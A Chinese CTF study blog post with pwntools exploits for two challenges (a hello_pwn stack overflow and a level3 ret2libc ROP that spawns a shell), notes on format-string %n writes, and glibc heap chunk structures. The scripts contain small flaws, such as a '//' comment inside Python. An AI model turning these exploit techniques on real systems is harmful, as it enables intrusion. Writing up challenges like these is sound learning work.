基础pwn例题,栈溢出,格式化字符串。

栈溢出例题

hello_pwn

来源:攻防世界

首先先checksec:

再看伪代码:

再看偏移量:

这里基本就明白了:当dowrd_60106C=1853186401时,执行下面的sub函数,sub函数就直接得出flag了,因此只要再前一步的read函数那里创造栈溢出,再人为满足条件判断即可。

exp:

from pwn import *
p=process('./hello_pwn')
#p=remote('111.200.241.244',52016)
payload=b'a'*4+p64(1853186401)

p.sendline(payload)
p.interactive()

level3

来源:攻防世界

checksec:

32位程序,开启堆栈不可执行,这是一道构造ROP的经典例题。

源码看出漏洞还是栈溢出,但是此时找不到现成的system函数和binsh字符串。

因此要找到system函数,知识点(搬运自wiki)

  • system 函数属于 libc,而 libc.so 动态链接库中的函数之间相对偏移是固定的。
  • 即使程序有 ASLR 保护,也只是针对于地址中间位进行随机,最低的 12 位并不会发生改变。
  • 查找Libc的网址:https://libc.blukat.me/https://libc.rip/

简单来说:实际的(真实的)地址是需要计算出来的,具体计算方式是:实际地址=libc偏移量+libc基地址在已知libc的情况下,我们需要做的就是找到libc的基址,而想要找到基址,我们需要知道一个函数的实际地址,本题中关键函数内存在write,read函数,因此想法是使用write函数泄露出write函数的真实地址,而plt表,got表,实际加载地址可以参考下图(搬运自csdn(滑稽)):

这样就可以得到基本的思路了: 先构造栈溢出使程序跳到write函数的plt表地址上,此时再次调用main函数或者vulnerable函数再次执行,此时就可以利用write函数打印出write的got表地址,此时需要我们人为的输入write函数的参数。这样就可以得到write函数的真实地址了。栈上的流程大概是这样的(仍然是搬运的(滑天下之大稽):

这样输出之后我们就得到了write函数的真实地址了,再通过libc来求得system和binsh的真实地址,最后第二次调动程序,再次利用漏洞,就可以得到shell。

exp:

from pwn import *
#p=process('./level3')
p=remote('61.147.171.105',59245)

padding=0x88

elf=ELF('./level3')
libc=ELF('./libc_32.so.6')

write_plt=elf.plt['write']
write_got=elf.got['write']
main_addr=elf.sym['main']

p.recvuntil(':\n')

payload=b'a'*0x88+b'a'*4+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(0xdeadbeef)

p.sendline(payload)

write_got_addr=u32(p.recv()[:4])
print(write_got_addr)

libc_write=libc.sym['write']
libc_base=write_got_addr-libc_write

system_addr=libc_base+libc.sym['system']
print('the system address is:',hex(system_addr))


libc_bin=next(libc.search(b"bin/sh"))//找到binsh偏移的方法
bin_addr=libc_base+libc_bin
print("the binsh address is:",hex(bin_addr))

payload2=b'a'*padding+b'a'*4+p32(system_addr)+p32(0xdeadbeef)+p32(bin_addr)

p.recvuntil(':\n')
p.sendline(payload2)

p.interactive()

格式化字符串

基本原理以及利用方法在wiki上有解释。

<原理介绍 - CTF Wiki (ctf-wiki.org)>

主要意思是利用printf一类函数漏洞,当函数没有严格规定格式化字符串时,攻击者可以控制printf函数来输出其他内容,由于格式化字符串输出的是栈上内容,因此此漏洞可以找到栈上其他位置的信息,比如地址,数据。总结一下就是:超出的每一个格式化字符串都能对下一格栈空间造成影响。

%d:打印成数字,只能泄露栈本身内容

%x:打印成16进制,只能泄露栈本身内容

%s:识别栈上内容为指针,打印出该指针指向的位置,这里有可能造成任意地址的泄露(只要能控制栈并完成布局)

%c:输出字符

%n:把前面已经打印的长度写入某个内存地址(实现任意地址写入)

%n:写入4个字节,写入1—>0000 0001

%hn:写入两个字节,写入1—>0001

%hhn:写入单个字节,写入1—>01

堆学习

这里主要是学习了ptmalloc2 – glibc的堆实现和堆利用。首先堆是由低地址向高地址增长,可读可写的数据结构

堆的相关数据结构

/*
This struct declaration is misleading (but accurate and necessary).
It declares a "view" into memory allowing access to necessary
fields at known offsets from a given base. See explanation below.
*/
struct malloc_chunk {

INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */
INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */

struct malloc_chunk* fd; /* double links -- used only if free. */
struct malloc_chunk* bk;

/* Only used for large blocks: pointer to next larger size. */
struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
struct malloc_chunk* bk_nextsize;
};

可以看出在一个chunk中有这样几个数据

  • prev_size: 如果该 chunk 的物理相邻的前一地址 chunk(两个指针的地址差值为前一 chunk 大小)是空闲的话,那该字段记录的是前一个 chunk 的大小 (包括 chunk 头)。否则,该字段可以用来存储物理相邻的前一个 chunk 的数据。这里的前一 chunk 指的是较低地址的 chunk 。也就是说,上一个chunk空闲,表示大小,调用,则表示值。
  • size:该chunk的大小,大小必须是 2 SIZE_SZ 的整数倍。如果申请的内存大小不是 2 SIZE_SZ 的整数倍,会被转换满足大小的最小的 2 SIZE_SZ 的倍数。32 位系统中,SIZE_SZ 是 4;64 位系统中,SIZE_SZ 是 8。 也就是说64位size是16的整数倍,32位size是8的整数倍,这里就说明无论是32还是64位,size的低三位都一定是0,这样的话在chunk中这三位可以表示其他信息,分别从高到低表示为A,M,P。A表示该chunk是否属于主线程,1表示不属于,0表示属于;M表示记录当前chunk是否由mmap分配;P表示记录前一个 chunk 块是否被分配。一般来说,堆中第一个被分配的内存块的 size 字段的 P 位都会被设置为 1,以便于防止访问前面的非法内存。当一个 chunk 的 size 的 P 位为 0 时,我们能通过 prev_size 字段来获取上一个 chunk 的大小以及地址。这也方便进行空闲 chunk 之间的合并。
  • fd和bk:fd表示指向下一个空闲的chunk,bk表示指向上一个空闲的chunk,这里要注意的是上下表示的是空闲的顺序而不是地址上的相邻。通过这里两个指针可以让空闲的chunk块加入到chunk块列表统一管理
  • fd_nextsize,bk_nextsize:只用chunk空闲才使用,但用于较大的chunk,fd_nextsize指向前一个与当前chunk大小不同的第一个空闲块,不含bin指针;bk_nextsize指向后一个与当前chunk大小不同的第一个空闲块,不含bin指针。

前两个字段称为chunk header,后面的部分称为user data。每次malloc申请得到的内存指针,是指向user data的起始处。

当一个 chunk 处于使用状态时,它的下一个 chunk 的 prev_size 域无效,所以下一个 chunk 的该部分也可以被当前 chunk 使用。这就是 chunk 中的空间复用。

chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Size of previous chunk, if unallocated (P clear) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Size of chunk, in bytes |A|M|P|
mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| User data starts here... .
. .
. (malloc_usable_size() bytes) .
next . |
chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| (size of chunk, but used for application data) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Size of next chunk, in bytes |A|0|1|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

被释放的chunk被记录在链表中,具体结构如下:

chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Size of previous chunk, if unallocated (P clear) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
`head:' | Size of chunk, in bytes |A|0|P|
mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Forward pointer to next chunk in list |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Back pointer to previous chunk in list |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Unused space (may be 0 bytes long) .
. .
next . |
chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
`foot:' | Size of chunk, in bytes |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Size of next chunk, in bytes |A|0|0|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

bin是什么

首先,用户释放的chunk不会马上归还给系统,ptmalloc会统一管理heap和mmap映射区域中空闲的chunk,用户再次请求分配内存时,ptmalloc会试图在空闲的chunk中挑选一块合适的给用户,可避免频繁地系统调用。ptmalloc会将空闲chunk的大小以及使用状态将chunk分为4类,fast bins, small bins, large bins, unsorted bin。相似大小的chunk会用双向链表链接起来,也就是说每类bin的内部会有多个互不相关的链表来保存不同大小的chunk。